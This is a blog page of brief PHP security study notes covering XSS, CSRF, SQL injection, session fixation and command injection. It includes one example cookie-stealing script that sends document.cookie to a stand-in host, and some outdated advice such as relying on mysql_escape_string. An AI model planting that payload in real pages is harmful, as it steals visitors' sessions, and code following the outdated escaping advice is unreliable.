Skip to content

Security

IT Notes → PHP @ December 22, 2020

  • Encrypt data, filter input and escape output. Example filter_var($field, FILTER_SANITIZE_EMAIL), filter_var($field, FILTER_VALIDATE_EMAIL) etc.
  • Turn off special php.ini setting called magic_quotes_gpc. mysql_escape_string( ) is required to make user input safe for database entry.
  • Put key files outside document root. So not accessible. Also provide appropriate file ppermissions and block relvant files and folders using .htaccess.
  • Set expose_php to OFF, use a different file extension and set display_errors to off. Set register_globals to OFF.
  • Spoof forms can be used to attack website through form submissions from different locations by copying the code replacing the form action with absolute URL and replicating. Form. submission cannot be prevented but by spam check, HTTP_REFERER checking and tight server validation we can secure our site.
  • Cross Site Scripting (XSS) is a method where a JavaScript is injected in a third-party site say through comment form and the execution of the script will send visiting user’s personal data like cookies.
  • <script>
document.location = http://example.org/getcookies.php?cookies=+ document.cookie;
</script>
  • This can be prevented by proper escaping of output. So, JavaScript won’t execute while reading say a blog comment.
  • Cross Site Request Forgeries utilizes the applications trust of user. Here a user when clicks on a third-party image is taken to a site from where an action is made. Here the link forces an action because the website has a vulnerability that when action is passed as a parameter some action occurs. Now they can even simulate POST request. Here the user must be logged in. To prevent this our authentic form should have some hidden random value from session and check whether the value posted is the same as in session for authenticity.
  • SQL Injection. Use prepares or driver specific escape_string.
  • Session fixation is an attack where attacker fixes a session and makes you access the application with that session id. Once you login or move to higher privilege the attacker may be able to ride on the same session. Since it is the session id that the server cares about. This can be prevented by regenerating session id using session_regenerate_id() on each higher privilege change.
  • Session hijacking is gaining the user’s session and utilizing it. It can be checked by seeing if there is a HTTP_USER_AGENT change. But this is not 100% safe.
  • Remote Code Injection is an attack that occurs when a require or include code portion is based on a tainted user input.
  • Command injection occurs when tainted user input is used for shell execution. PHP provides escapeshellcmd() and escapeshellarg() as a means to properly escape shell output.
  • In shared hosting open_basedir (Prevents opening files outside a path using include etc), disable_functions (disables certain functions for security), and disable_classes (disables certain classes for security).

Related Posts

  1. Basics ( IT Notes → PHP )
  2. General ( IT Notes → PHP )
  3. Data Types ( IT Notes → PHP )
  4. Operators ( IT Notes → PHP )
  5. Errors and Exceptions ( IT Notes → PHP )
  6. Arrays ( IT Notes → PHP )
  7. Strings ( IT Notes → PHP )
  8. Functions ( IT Notes → PHP )
  9. OO PHP ( IT Notes → PHP )
  10. Design Pattern ( IT Notes → PHP )
  11. XML ( IT Notes → PHP )
  12. Web Service ( IT Notes → PHP )
  13. Database ( IT Notes → PHP )
  14. Super Globals ( IT Notes → PHP )
  15. Output Buffering ( IT Notes → PHP )
  16. Streams and Network Programming ( IT Notes → PHP )
  17. Miscellaneous ( IT Notes → PHP )
  18. Abbreviations ( IT Notes → Abbreviations )
  19. OOP Concepts or Object Oriented Programming Concepts ( IT Notes → Object Oriented Programming )
  20. Basics ( IT Notes → Javascript )
  21. Regex ( IT Notes → Javascript )
  22. Functions ( IT Notes → Javascript )
  23. Call Back Functions ( IT Notes → Javascript )
  24. General ( IT Notes → Javascript )
  25. Debugging ( IT Notes → Javascript )
  26. Namespace ( IT Notes → C# )
  27. Parameter Passing ( IT Notes → C# )
  28. Functions ( IT Notes → C# )
  29. Generics ( IT Notes → C# )
  30. Delegate ( IT Notes → C# )
  31. Anonymous Types ( IT Notes → C# )
  32. Directives ( IT Notes → C# )
  33. Performance For Generics ( IT Notes → C# )
  34. C# 4.0 ( IT Notes → C# )
  35. Physical and Relational Data Model ( IT Notes → Database )
  36. Data Normalization ( IT Notes → Database )
  37. Create Table ( IT Notes → Database → SQL )
  38. Import Data ( IT Notes → Database → SQL )
  39. Select ( IT Notes → Database → SQL )
  40. Create ( IT Notes → Database → SQL )
  41. View ( IT Notes → Database → SQL )
  42. Different Types of Testing ( IT Notes → Testing )
  43. SAS 70 Type II Audit – Data Security ( IT Notes → Testing )
  44. Tracking Defects ( IT Notes → Testing )
  45. Silk Test ( IT Notes → Testing )
  46. General ( IT Notes → SEO )
  47. Introduction ( IT Notes → Database → Oracle )
  48. Miscellaneous ( IT Notes → Database → Oracle )
  49. IT Notes ( IT Notes )
  50. General ( IT Notes → Project Management )
0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x